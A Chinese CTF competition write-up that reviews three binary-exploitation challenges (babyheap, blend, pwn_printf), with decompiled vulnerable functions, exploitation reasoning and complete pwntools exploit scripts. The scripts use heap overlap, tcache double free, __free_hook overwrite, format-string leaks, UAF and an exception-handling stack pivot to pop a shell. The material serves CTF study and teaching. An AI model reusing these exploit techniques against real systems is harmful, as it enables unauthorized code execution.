比赛的时候出去玩了,这就来复盘
babyheap
基本情况
增删查改,数量限制比较宽松挺大的,大小固定 0xf8 。
漏洞
safe_read 写入大小为 0xf8 会溢出修改下一个 chunk size 最低两位为 \x00 。
1 2 3 4 5 6 7 8 9
| char *__fastcall safe_read(char *ptr, int size) { char *result;
read(0, ptr, 0xF0uLL); result = &ptr[size]; *result = 0; return result; }
|
思路
- unsortedbin 泄露 libc 地址
- 通过将堆放入 unsortedbin 修改某一个堆的 prev_size ,然后溢出修改 size 位,制造堆重叠,申请两个指向同一地址的指针
- tcache double free
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
|
from pwn import* context(log_level='debug',os='linux',arch='amd64', terminal=['tmux','sp','-h'])
p = process("./babyheap") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def menu(ch): p.sendlineafter('>>',str(ch)) def new(): menu(1) def show(index): menu(2) p.sendlineafter('?',str(index)) def edit(index,size,content): menu(3) p.sendlineafter('?',str(index)) p.sendlineafter(':',str(size)) p.sendafter(':',content) def free(index): menu(4) p.sendlineafter('?',str(index))
for i in range(10): new() for i in range(8,1,-1): free(i) free(0) free(1)
for i in range(7): new() new()
show(7) p.recvuntil('\n') main_arena = u64(p.recv(6).ljust(8,'\x00')) libc_base = main_arena - 0x3ebe90 log.info("libc_base:"+hex(libc_base))
new() for i in range(1,7): free(i) free(9)
free(7) free(8) free(0)
for i in range(7): new() new() new() new()
for i in range(7): free(i)
free(7)
edit(8,0xf8,'skye') free(9)
for i in range(7): new() new() new()
for i in range(5): free(i) free(8) free(9)
new() free_hook = libc_base+libc.sym['__free_hook'] edit(0,0xf8,p64(free_hook)) new() new() system = libc_base+libc.sym['system'] edit(2,0xf8,p64(system))
new() edit(3,0xf8,"/bin/sh") free(3)
p.interactive()
|
blend
题目的原型题目是2017 DCTF flex
基本情况
增删查功能,堆数量限制为 2 个,且释放堆不会减少计数标志位。有一个隐藏的菜单选项,查找资料后是确定是 c++ 的异常处理。IDA 反汇编后伪 C 看不到 try catch 捕获异常结构,需要看汇编。
https://www.runoob.com/cplusplus/cpp-exceptions-handling.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| unsigned __int64 sub_1184() { _QWORD *v0; char v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Please input what you want:"); if ( (signed int)sub_E22(&v2, 40LL) > 16 ) { v0 = (_QWORD *)_cxa_allocate_exception(8LL, 40LL); *v0 = "You are too young!"; _cxa_throw(v0, &`typeinfo for'char const*, 0LL); } return __readfsqword(0x28u) ^ v3; }
|
当捕捉到错误后,就会停止剩下操作,直接跳转回 catch 错误处理。
漏洞
输出用户名时的格式化字符串:
1 2 3 4
| int sub_116C() { return printf(byte_202080); }
|
释放堆块时 UAF :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| __int64 sub_1025() { int v1; printf("index>"); v1 = sub_EA2(); if ( v1 < 0 || v1 > 1 ) { puts("Insufficient space"); exit(0); } if ( qword_202090[v1] ) { free((void *)qword_202090[v1]); puts("down!"); } ……
|
hint 函数写入存在栈溢出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| unsigned __int64 sub_1184() { _QWORD *v0; char v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Please input what you want:"); if ( (signed int)sub_E22(&v2, 40LL) > 16 ) { v0 = (_QWORD *)_cxa_allocate_exception(8LL, 40LL); *v0 = "You are too young!"; _cxa_throw(v0, &`typeinfo for'char const*, 0LL); } return __readfsqword(0x28u) ^ v3; }
|
思路
- 格式化字符串泄露栈上的 libc_start_main 获取 libc_base
- 写入 ROP 利用链;利用 UAF 泄露堆地址
- 溢出修改 ebp ,利用异常处理机制控制栈到堆上 ROP
正常泄露地址,只是用 vmmap 查地址算偏移会查到两个 libc.so 用高地址那个,或者用 libc 查 libc_start_main 偏移也用:
1 2 3 4 5 6
| p.recvuntil(": ") p.send('%11$p') show_name() p.recvuntil('Current user:') libc_base = int(p.recv(14),16)-libc.sym['__libc_start_main']-240 log.info('libc_base:'+hex(libc_base))
|
ROP 利用链用的是 libc 的 gadget ,程序开了 PIE :
1 2 3 4 5 6
| ret = libc_base + 0x0000000000000937 pop_rdi_ret = libc_base + 0x0000000000021112 system = libc_base + libc.sym['system'] log.info("system:"+hex(system)) str_binsh = libc_base + libc.search('/bin/sh').next() payload = p64(ret)+p64(pop_rdi_ret)+p64(str_binsh)+p64(system)
|
申请两个堆然后释放用 UAF 泄露堆地址,申请的时候要将 ROP 利用链一起写入,ROP 链要填 0x18 填充后面记录:
1 2 3 4 5 6 7
| add('a') add('b'*0x18+payload) free(1) free(0) show() p.recvuntil("1:") heap_addr = u64(p.recv(6).ljust(8,'\x00'))
|
然后就是利用异常处理机制,具体研究看一开始放的原题。首先会由 cxa_allocate_exception
创建一个异常对象,会申请一个 0x90 堆。接着进入到 cxa_throw
函数,在里面的 Unwind_RaiseException()
将控制权转移到对应(跳转) catch 代码,执行完异常处理后就会执行 leave;ret
,**跳转到 catch 时依然保持跳转前的 rbp **。
通过劫持异常出现前的 rbp ,异常处理完成后执行 leave;ret
将栈劫持到堆中。
gdb 单步调试到 Unwind_RaiseException()
后面就会直接跳过,也就是看不到 catch 执行情况
1
| hint('a'*0x20+p64(heap_addr+0x20)[0:7])
|
ROP 链要填 0x18 再写有效部分是因为 Unwind_RaiseException()
执行完后查看堆会发现多了一堆,其中就有将 ROP 所在堆申请利用了,也就是覆盖了数据,所以要填个偏移,然后利用链没有被新数据覆盖。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * context(log_level='debug',os='linux',arch='amd64', terminal=['tmux','sp','-h'])
p = process("./blend_pwn") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./blend_pwn")
def show_name(): p.recvuntil(">") p.sendline('1')
def add(content): p.recvuntil(">") p.sendline('2') p.recvuntil(":\n") p.sendline(content) def free(id): p.recvuntil(">") p.sendline('3') p.recvuntil(">") p.sendline(str(id)) def show(): p.recvuntil(">") p.sendline('4') def hint(content): p.recvuntil(">") p.sendline('666') p.recvuntil(":") p.sendline(content)
p.recvuntil(": ") p.send('%11$p') show_name() p.recvuntil('Current user:') libc_base = int(p.recv(14),16)-libc.sym['__libc_start_main']-240 log.info('libc_base:'+hex(libc_base))
ret = libc_base + 0x0000000000000937 pop_rdi_ret = libc_base + 0x0000000000021112 system = libc_base + libc.sym['system'] log.info("system:"+hex(system)) str_binsh = libc_base + libc.search('/bin/sh').next() payload = p64(ret)+p64(pop_rdi_ret)+p64(str_binsh)+p64(system)
add('a') add('b'*0x18+payload) free(1) free(0) show() p.recvuntil("1:") heap_addr = u64(p.recv(6).ljust(8,'\x00')) log.info("heap_addr:"+hex(heap_addr))
hint('a'*0x20+p64(heap_addr+0x20)[0:7])
p.interactive()
|
pwn_printf
基本情况
开局程序先 mmap 一块 rw 权限内存,放入一堆格式化字符串,然后输入 16 个数字,就会进入 sprintf 的循环,将数字与格式化字符串运算后放入对应变量寄存器。if 判断 v12 的值,v12 作为参数传入 read 函数,写入位置有点奇妙直接就是 rbp :
1 2 3 4 5
| ssize_t __fastcall sub_4007C6(unsigned __int16 v12) { char buf[8]; return read(0, buf, 2 * v12); }
|
同时这里就可能会造成溢出。
sprintf 里面应该是控制 v12 的值,要逆出来难度不小,最后看师傅们 wp ,当前 9 个输入数字为 32 时,v12 变成允许的最大值 0x20 。然后就是 ROP 了,ROP 回 main 会在 sprintf 报错,返回 sub_4007C6 则没有问题,但是只能输入 0xe 。最后解决办法是用一个 gadget add eax, 0x20290e ; add ebx, esi ; ret
控制 eax 的值,调到输入长度。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * context(log_level='debug',arch='amd64', terminal=['tmux','sp','-h']) p = process("./pwn_printf") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./pwn_printf")
p.recvuntil("interesting\n") for _ in range(16): p.sendline('32')
pop_rdi_ret = 0x0000000000401213 rop_addr = 0x040117f add_eax_0x20290e_ret = 0x0000000000400794 payload = 'a'*0x8+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(add_eax_0x20290e_ret)+p64(rop_addr)
gdb.attach(p,'b *0x04007E7') p.send(payload) puts_addr = u64(p.recv(6).ljust(8,'\x00')) log.info("puts_addr:"+hex(puts_addr)) libc_base = puts_addr-libc.sym['puts']
payload = 'a'*8+p64(libc_base+0x4527a) ''' 26 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
p.send(payload) p.interactive()
|
参考文章